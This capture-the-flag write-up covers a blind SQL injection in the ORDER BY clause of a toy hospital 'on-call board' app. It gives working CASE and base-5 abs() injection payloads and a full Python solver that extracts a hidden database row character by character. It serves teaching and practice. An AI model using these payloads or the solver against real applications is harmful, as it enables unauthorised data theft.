Doctor Bye Bye — fortid2026

Description

Dr. Bye Bye has retired from St. Codd's Hospital.

The hospital insists that retired records can never be displayed. Can you recover Dr. Bye Bye's private farewell note anyway?

A small Python http.server + sqlite3 application serves an "on-call board". GET /api/on-call?sort=<expr> returns the doctor who is currently on call. The retired doctor Dr. Bye Bye (id=404, listed=0) stores the flag in the farewell_note column, but the query filters WHERE listed = 1, so that row is never returned by design. Goal: recover the hidden farewell note (FortID{...}).

Analysis

Schema and seeded data

CREATE TABLE doctors (
    id INTEGER PRIMARY KEY,
    slug TEXT NOT NULL UNIQUE,
    name TEXT NOT NULL,
    specialty TEXT NOT NULL,
    room TEXT NOT NULL,
    listed INTEGER NOT NULL CHECK (listed IN (0, 1)),
    farewell_note TEXT
);

INSERT INTO doctors VALUES
    (10, 'ada-pulse',    'Dr. Ada Pulse',    'Cardiology',        'C-101', 1, NULL),
    (30, 'max-well',     'Dr. Max Well',     'Radiology',         'R-204', 1, NULL),
    (50, 'paige-turner', 'Dr. Paige Turner', 'Neurology',         'N-303', 1, NULL),
    (70, 'ella-ment',    'Dr. Ella Ment',    'Pathology',         'P-118', 1, NULL),
    (90, 'zoe-last',     'Dr. Zoe Last',     'Emergency medicine','E-001', 1, NULL);
-- flag row inserted separately, hidden from the WHERE clause:
-- (404, 'doctor-bye-bye', 'Dr. Bye Bye', 'Retired', '-', 0, <FLAG>)

The vulnerable query

def select_on_call(order_expression):
    query = f"""
        SELECT name, specialty, room
        FROM doctors
        WHERE listed = 1
        ORDER BY {order_expression}
        LIMIT 1
    """
    ...
    row = connection.execute(query).fetchone()

The sort query parameter (up to 600 chars) is concatenated directly into the ORDER BY clause — classic SQL injection. Only name, specialty, room of one of the five listed rows are ever returned. Errors are caught and hidden:

except (sqlite3.Error, LookupError):
    # Query errors deliberately do not expose database details.
    self.send_json(400, {"error": "The on-call board could not be updated."})

So there is no error-based leak and no UNION projection: the WHERE listed = 1 filter and the fixed three-column projection stand between the attacker and the flag. What remains exploitable is the fact that ORDER BY decides which single row LIMIT 1 returns. The identity of the returned doctor is therefore an oracle.

Why the order expression is an oracle

The five listed rows span ids {10, 30, 50, 70, 90}. If we sort by an attacker-controlled expression whose value depends on a subquery over the hidden row, then the ordering — and hence which doctor is returned by LIMIT 1 — depends on that hidden value. The response body is JSON containing the doctor's name, giving us a 5-valued (base-5) read channel.

Solution

1. Boolean oracle

Control the sort key with a CASE expression over the condition:

sort=CASE WHEN (<condition>) THEN id ELSE -id END

• condition true → ascending id → minimum is 10 → returns Dr. Ada Pulse
• condition false → ascending -id (i.e. descending id) → minimum is -90 → returns Dr. Zoe Last

So the returned doctor's name is a boolean oracle (Ada Pulse = true, Zoe Last = false). A first working solver binary-searches the character code with this oracle.

2. High-bandwidth base-5 oracle (4 requests per character)

The boolean oracle costs ~7 requests per character. A stronger approach encodes a whole base-5 digit into the row id via abs(id - target). Choose target = 10 + 20*digit, which picks among the five listed ids:

digit	target id	returned doctor
0	10	Dr. Ada Pulse
1	30	Dr. Max Well
2	50	Dr. Paige Turner
3	70	Dr. Ella Ment
4	90	Dr. Zoe Last

For character position pos and base-5 place q (weight 5**q):

sort=abs(id-(10+20*((SELECT unicode(substr(farewell_note,<pos>,1)) FROM doctors WHERE id=404)/5^q%5)))

The doctor returned by LIMIT 1 is the listed id closest to target (abs gives 0 at the target), so its name decodes the digit directly. Reconstruct the character code from 4 base-5 digits (q = 0..3), which covers all printable ASCII:

code = sum(digit_q * 5**q)   for q in 0..3

Stop when the code is 0 (end of string) or the character is }.

3. Performance notes

• The reverse proxy supports HTTP/1.1 keep-alive. Reusing a single http.client.HTTPSConnection drops request latency from ~0.9 s to ~0.13 s.
• Query strings must be URL-encoded with urllib.parse.urlencode, because a raw + in the sort value decodes to a space and corrupts the expression.
• The application enforces a SQLite VM budget (SQLITE_VM_BUDGET = 50_000) and a 2048-byte SQL length limit; the tiny subquery expressions stay well inside both.

Solver sketch

#!/usr/bin/env python3
import http.client, re, ssl, urllib.parse

HOST = "<target-host>"
NAME2DIGIT = {
    "Dr. Ada Pulse": 0, "Dr. Max Well": 1, "Dr. Paige Turner": 2,
    "Dr. Ella Ment": 3, "Dr. Zoe Last": 4,
}

ctx = ssl.create_default_context()
conn = http.client.HTTPSConnection(HOST, context=ctx, timeout=20)

def query(expr):                       # one HTTP request, keep-alive reused
    path = "/api/on-call?" + urllib.parse.urlencode({"sort": expr})
    conn.request("GET", path)
    body = conn.getresponse().read().decode()
    return re.search(r'"name":"([^"]+)"', body).group(1)

def digit(pos, q):
    sub = (f"(SELECT unicode(substr(farewell_note,{pos},1))"
           f" FROM doctors WHERE id=404)")
    expr = f"abs(id-(10+20*({sub}/{5**q}%5)))"
    return NAME2DIGIT[query(expr)]

def extract_char(pos):
    return sum(digit(pos, q) * 5**q for q in range(4))

flag = ""
for pos in range(1, 200):
    code = extract_char(pos)
    if code == 0:                      # end of string
        break
    flag += chr(code)
    if chr(code) == "}":
        break
print(flag)                            # -> FortID{REDACTED}

4. Verification

Confirm the recovered string with an exact-match boolean oracle:

sort=CASE WHEN (SELECT farewell_note FROM doctors WHERE id=404)='<candidate>' THEN id ELSE -id END

An exact match returns Dr. Ada Pulse (true); corrupting a single character flips the result to Dr. Zoe Last (false). This proves the recovered string is the full stored farewell_note, not a coincidental prefix.

Key Indicators

Use this approach when:

• A user-controlled parameter is concatenated into an ORDER BY clause, and the query has LIMIT 1.
• The result set is a small fixed set of rows, so the returned row identity becomes the side channel (here a 5-valued / base-5 digit).
• Database errors are swallowed into a generic 400 with no reflected data — no error-based or UNION-based leak is available, forcing blind extraction.
• The secret lives in a row excluded by a WHERE filter (listed = 0), but a scalar subquery can still reference it inside an ordering expression.
• Prefer a multi-valued identity oracle over a boolean one to cut requests per character, and reuse a keep-alive connection to reduce round-trip cost.